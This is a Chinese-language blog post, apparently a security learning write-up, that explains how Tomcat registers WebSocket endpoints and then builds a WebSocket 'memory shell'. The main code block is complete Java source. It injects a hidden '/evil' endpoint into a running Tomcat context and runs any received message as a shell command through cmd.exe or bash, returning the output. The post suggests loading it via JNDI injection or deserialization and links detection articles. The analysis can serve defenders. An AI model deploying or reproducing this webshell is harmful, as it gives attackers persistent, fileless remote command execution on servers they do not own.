websocket内存马

前言

tnnd,文章写的太垃圾,投稿不收 😦,看到新型内存马项目,学习一下,项目地址:https://github.com/veo/wsMemShell

websocket类型内存马的学习,环境:Tomcat 8.5 + JDK1.8

websocket

先读这一篇前置知识文章:WebSocket通信原理和在Tomcat中实现源码详解

Tomcat7早期版本7.0.47之前还没有出 JSR356标准时,自己实现了一套接口,支持websocket。后来Tomcat7.0.47版本废弃自定义的API,实现了JSR356标准。

根据JSR356规定, 建立WebSocket连接的服务器端和客户端,两端对称,抽象成API,就是一个个Endpoint(端点),只不过服务器端的叫 ServerEndpoint,客户端的叫 ClientEndpoint。客户端向服务端发送WebSocket握手请求,建立连接后就创建一个ServerEndpoint对象

websocket基于Tomcat实现

tomcat中存在两种方式:一、ServerEndpoint注解方式。二、继承抽象类Endpoint方式。这里利用注解方式来进行实现

import javax.websocket.*;
import javax.websocket.server.ServerEndpoint;

@ServerEndpoint(value = "/websocket")
public class WebSocket{
    private Session session;

    @OnOpen
    public void start(Session session) {
        this.session = session;
        this.session.getAsyncRemote().sendText("websocket strt");
    }

    @OnClose
    public void end() {
        System.out.println("websocket close");
    }

    @OnMessage
    public void incoming(String message) {
        this.session.getAsyncRemote().sendText("websocket recievd: "+message);
    }

    @OnError
    public void onError(Throwable t) {
        System.out.println("websocket error");
    }
}

关于继承抽象类Endpoint的方式,需要自己实现 MessageHandlerServerApplicationConfig

MessageHandler 用于处理消息,ServerApplicationConfig用于处理URI映射。

websocket加载

Tomcat通过 org.apache.tomcat.websocket.server.WsSci 专门对 websocket 进行初始化以及加载,该类实现了接口

javax.servlet.ServletContainerInitializer ,该接口是Servlet 3.0规范中定义的用来接收Web应用启动事件的接口,简称为SCI加载机制。该机制在Tomcat部署装载Web项目 org.apache.catalina.core.StandardContext#startInternal 时主动触发 ServletContainerInitializer#onStartup,做一些扩展的初始化操作。

WsSci#onStartup

WsSci会将 **HandlesTypes注解 **指定的类扫描出来,并 创建WebSocketContainer容器,将扫描的类添加到容器中。扫描的类如下

  • 注解类ServerEndpoint即 @ServerEndpoint
  • ServerApplicationConfig实现类
  • Endpoint子类

调试一下,扫描到刚才自定义的 ServerEndpoint,创建WebSocketContainer容器,这里用的是 WsServerContainer

image-20220720232039952

在 WsServerContainer 的构造函数中为ServletContext添加了一个 org.apache.tomcat.websocket.server.WsFilter 类型的Filter用来处理websocket的请求

image-20220720234850629

回到SCI中,定义三个set集合针对扫描到的三种不同类

image-20220720232801875

三个if对不同类型进行添加

  • 当前类为ServerApplicationConfig 添加到 serverApplicationConfigs 集合中
  • 当前为Endpoint的子类 添加到 scannedEndpointClazzes 集合中
  • 当前类为ServerEndpoint 添加到 scannedPojoEndpoints 集合中

image-20220720235931159

又重新定义了 两个集合 filteredEndpointConfigsfilteredPojoEndpoints,如果 serverApplicationConfigs 为空即不存在以继承抽象类Endpoint的方式编写的类,将注释方式的类添加 filteredPojoEndpoints 中,else中不在赘述。

image-20220721001100660

通过 addEndpoint 添加到WebSocketContainer容器中,两种websocket实现方式调用的addEndpoint也不相同

  • Endpoint 子类调用的是形参为 (ServerEndpointConfig)
  • ServerEndpoint 类调用的形参为 (Class<?> pojo, boolean fromAnnotatedPojo)

image-20220721002347745

WsServerContainer#addEndpoint

定义 ServerEndpointConfig 变量,然后获取 ServerEndpoint 的路径

image-20220721004610184

最后调用一堆方法去构造出 ServerEndpointConfig 对象

image-20220721004816947

再次调用addEndpoint,传入ServerEndpointConfig 等配置对象,这里很明显能看出通过 PojoMethodMapping 类去解析配置信息,获取OnClose、OnOpen等方法,添加到 ServerEndpointConfig 对象中

image-20220721203956691

接下来通过UriTemplate去处理映射的路由路径,对path进行是否重复的检查,把path和其ServerEndpointConfig对象添加到 configExactMatchMap

image-20220721232910575

至此完成添加一个ServerEndpoint。

websocket通信

关于WsFilter,当服务器接收到来自客户端的请求时,首先WsFilter会判断该请求是否是一个WebSocket Upgrade请求(即包含Upgrade: websocket头信息)。如果是,则根据请求路径查找对应的Endpoint处理类。只需要知道WsFilter用来处理websocket请求,对应的EndPoint进行处理即可。

websocket注入实现

实现思路类比其他类型内存马

  • 获取StandardContext
  • 获取WebSocketContainer
  • 创建恶意的ServerEndpointConfig
  • 调用addEndpoint()

websocket.java

import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.websocket.server.WsServerContainer;

import javax.websocket.*;
import javax.websocket.server.ServerContainer;
import javax.websocket.server.ServerEndpointConfig;
import java.io.InputStream;

public class wssocket extends Endpoint {
    static{
        WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
        StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
        ServerEndpointConfig build = ServerEndpointConfig.Builder.create(wssocket.class, "/evil").build();
        WsServerContainer attribute = (WsServerContainer) standardContext.getServletContext().getAttribute(ServerContainer.class.getName());
        try {
            attribute.addEndpoint(build);
        } catch (DeploymentException e) {
            throw new RuntimeException(e);
        }
    }

    private Session session;

    @Override
    public void onOpen(Session session, EndpointConfig config) {
        this.session = session;
        this.session.addMessageHandler(new MessageHandler());
    }

    private class MessageHandler implements javax.websocket.MessageHandler.Whole<String> {
        @Override
        public void onMessage(String message) {
            try {
                boolean iswin = System.getProperty("os.name").toLowerCase().startsWith("windows");
                Process exec;
                if (iswin) {
                    exec = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", message});
                } else {
                    exec = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", message});
                }
                InputStream ips = exec.getInputStream();
                StringBuilder sb = new StringBuilder();
                int i;
                while((i = ips.read()) != -1) {
                    sb.append((char)i);
                }
                ips.close();
                exec.waitFor();
                session.getBasicRemote().sendText(sb.toString());
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }
}

可搭配 JNDI注入、反序列化等注入内存

检测

https://mp.weixin.qq.com/s/T3UfA1plrlG-e9lgfB4whg

https://www.freebuf.com/articles/web/339361.html

参考

Websocket的使用(javax.websocket版本)

WebSocket通信原理和在Tomcat中实现源码详解

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值